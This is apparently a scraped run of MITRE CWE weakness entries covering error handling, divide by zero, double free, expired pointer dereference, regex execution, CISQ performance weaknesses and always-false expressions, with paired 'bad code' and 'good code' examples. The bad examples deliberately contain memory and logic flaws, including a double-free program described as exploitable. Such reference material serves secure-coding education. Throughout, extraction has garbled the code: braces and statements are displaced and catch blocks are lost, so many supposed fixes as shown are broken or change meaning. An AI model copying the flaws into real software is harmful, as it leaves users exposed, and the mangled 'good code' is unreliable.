Example Language: C
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) { printf("Malloc failed to allocate memory resources"); }return -1; Example 2 In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed. (bad code)
Example Language: C++
char* readfile (char *filename) {
try {
// open input file
ifstream infile; infile.open(filename); if (!infile.is_open()) { throw "Unable to open file " + filename; }// get length of file infile.seekg (0, ios::end); int length = infile.tellg(); infile.seekg (0, ios::beg); // allocate memory char *buffer = new char [length]; // read data from file infile.read (buffer,length); if (!infile.good()) { throw "Unable to read from file " + filename; }infile.close(); return buffer; catch (...) { /* bug: insert code to handle this later */ }The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program. (good code)
Example Language: C++
char* readFile (char *filename) {
try {
// open input file
ifstream infile; infile.open(filename); if (!infile.is_open()) { throw "Unable to open file " + filename; }// get length of file infile.seekg (0, ios::end); int length = infile.tellg(); infile.seekg (0, ios::beg); // allocate memory char *buffer = new char [length]; // read data from file infile.read (buffer,length); if (!infile.good()) { throw "Unable to read from file " + filename; }infile.close(); return buffer; catch (char *str) { printf("Error: %s \n", str); }infile.close(); throw str; catch (...) { printf("Error occurred trying to read from file \n"); }infile.close(); throw; Example 3 In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String. (bad code)
Example Language: Java
public String readFile(String filename) {
String retString = null;
try { // initialize File and FileReader objects
File file = new File(filename); FileReader fr = new FileReader(file); // initialize character buffer long fLen = file.length(); char[] cBuf = new char[(int) fLen]; // read data from file int iRead = fr.read(cBuf, 0, (int) fLen); // close file fr.close(); retString = new String(cBuf); /* do nothing, but catch so it'll compile... */ }return retString; The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised. (good code)
Example Language: Java
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
String retString = null;
try { // initialize File and FileReader objects
File file = new File(filename); FileReader fr = new FileReader(file); // initialize character buffer long fLen = file.length(); char [] cBuf = new char[(int) fLen]; // read data from file int iRead = fr.read(cBuf, 0, (int) fLen); // close file fr.close(); retString = new String(cBuf); System.err.println ("Error: FileNotFoundException opening the input file: " + filename ); } catch (IOException ex) {System.err.println ("" + ex.getMessage() ); throw new FileNotFoundException(ex.getMessage()); System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() ); } catch (Exception ex) {throw new IOException(ex); System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() ); }throw new Exception(ex); return retString;
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-369: Divide By Zero
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
Example 1 The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur. (bad code)
Example Language: Java
public int computeAverageResponseTime (int totalTime, int numRequests) {
return totalTime / numRequests; }By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception. (good code)
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
if (numRequests == 0) { }System.out.println("Division by zero attempted!"); }throw ArithmeticException; return totalTime / numRequests; Example 2 The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur. (bad code)
Example Language: C
double divide(double x, double y){
return x/y; }By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error. (good code)
const int DivideByZero = 10;
double divide(double x, double y){ if ( 0 == y ){ }throw DivideByZero; }return x/y; ... try{ divide(10, 0); }catch( int i ){ if(i==DivideByZero) { }cerr<<"Divide by zero error"; }
Example 3 The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur. (bad code)
Example Language: C#
int Division(int x, int y){
return (x / y); }The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero. (good code)
int SafeDivision(int x, int y){
try{ }return (x / y); }catch (System.DivideByZeroException dbz){ System.Console.WriteLine("Division by zero attempted!"); }return 0;
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-415: Double Free
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.
When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 The following code shows a simple example of a double free vulnerability. (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
... if (abrt) {
free(ptr);
}... free(ptr); Double free vulnerabilities have two common (and sometimes overlapping) causes:
Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once. Example 2 While contrived, this code should be exploitable on Linux distributions that do not ship with heap-chunk check summing turned on. (bad code)
Example Language: C
#include <stdio.h>
#include <unistd.h> #define BUFSIZE1 512 #define BUFSIZE2 ((BUFSIZE1/2) - 8) int main(int argc, char **argv) { char *buf1R1; }char *buf2R1; char *buf1R2; buf1R1 = (char *) malloc(BUFSIZE2); buf2R1 = (char *) malloc(BUFSIZE2); free(buf1R1); free(buf2R1); buf1R2 = (char *) malloc(BUFSIZE1); strncpy(buf1R2, argv[1], BUFSIZE1-1); free(buf2R1); free(buf1R2);
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.
Theoretical
It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.
CWE-1049: Excessive Data Query Operations in a Large Data Table
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product performs a data query with a large number of joins
and sub-queries on a large data table.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1067: Excessive Execution of Sequential Searches of Data Resource
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains a data query against an SQL table or view
that is configured in a way that does not utilize an index and may cause
sequential searches to be performed.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1094: Excessive Index Range Scan for a Data Resource
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains an index range scan for a large data table,
but the scan can cover a large number of rows.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "large data table" and "excessive index range" may vary for each product or developer, CISQ recommends a threshold of 1000000 table rows and a threshold of 10 for the index range. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product performs too many data queries without using efficient data processing functionality such as stored procedures.
This issue can make the product perform more slowly due to computational expense. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1050: Excessive Platform Resource Consumption within a Loop
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product has a loop body or loop condition that contains a control element that directly or
indirectly consumes platform resources, e.g. messaging, sessions, locks, or file
descriptors.
This issue can make the product perform more slowly. If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1052: Excessive Use of Hard-Coded Literals in Initialization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product initializes a data element using a hard-coded
literal that is not a simple integer or static constant element.
This issue makes it more difficult to modify or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-624: Executable Regular Expression Error
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.
Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages PHP (Undetermined Prevalence) Perl (Undetermined Prevalence)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Research Gap
Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.
CWE-825: Expired Pointer Dereference
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.
When a product releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the product to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Example 1 The following code shows a simple example of a use after free error: (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
if (err) { abrt = 1; }free(ptr); ... if (abrt) { logError("operation aborted before commit", ptr); }When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function. Example 2 The following code shows a simple example of a double free error: (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
... if (abrt) { free(ptr); }... free(ptr); Double free vulnerabilities have two common (and sometimes overlapping) causes:
Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology
Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.
Maintenance
There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.
CWE-570: Expression is Always False
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately. (bad code)
Example Language: Java
public void updateUserAccountOrder(String productNumber, String accountNumber) { boolean isValidProduct = false;
boolean isValidAccount = false; if (validProductNumber(productNumber)) { isValidProduct = true; }updateInventory(productNumber); else { return; }if (validAccountNumber(accountNumber)) { isValidProduct = true; }updateAccount(accountNumber, productNumber); if (isValidProduct && isValidAccount) { updateAccountOrder(accountNumber, productNumber); }However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated. This can be easily corrected by updating the appropriate variable. (good code)
...
if (validAccountNumber(accountNumber)) { isValidAccount = true; }updateAccount(accountNumber, productNumber); ... Example 2 In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set. (bad code)
Example Language: C
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000 unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */ // using "&", mask = 00000000 // using "|", mask = 00010001 // determine if user has read and write access int hasReadWriteAccess(unsigned int userMask) { // if the userMask has read and write bits set
// then return 1 (true) if (userMask & mask) { return 1; }// otherwise return 0 (false) return 0; However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed. The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation. Example 3 In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed. (bad code)
Example Language: C
int updateInventory(char* productNumber, int numberOfItems) {
int initCount = getProductCount(productNumber);
int updatedCount = initCount + numberOfItems; int updated = updateProductCount(updatedCount); // if statement for debugging purposes only if (1 == 0) { char productName[128]; productName = getProductName(productNumber); printf("product %s initially has %d items in inventory \n", productName, initCount); printf("adding %d items to inventory for %s \n", numberOfItems, productName); if (updated == 0) { printf("Inventory updated for product %s to %d items \n", productName, updatedCount); }else { printf("Inventory not updated for product: %s \n", productName); }return updated; Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-571: Expression is Always True
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
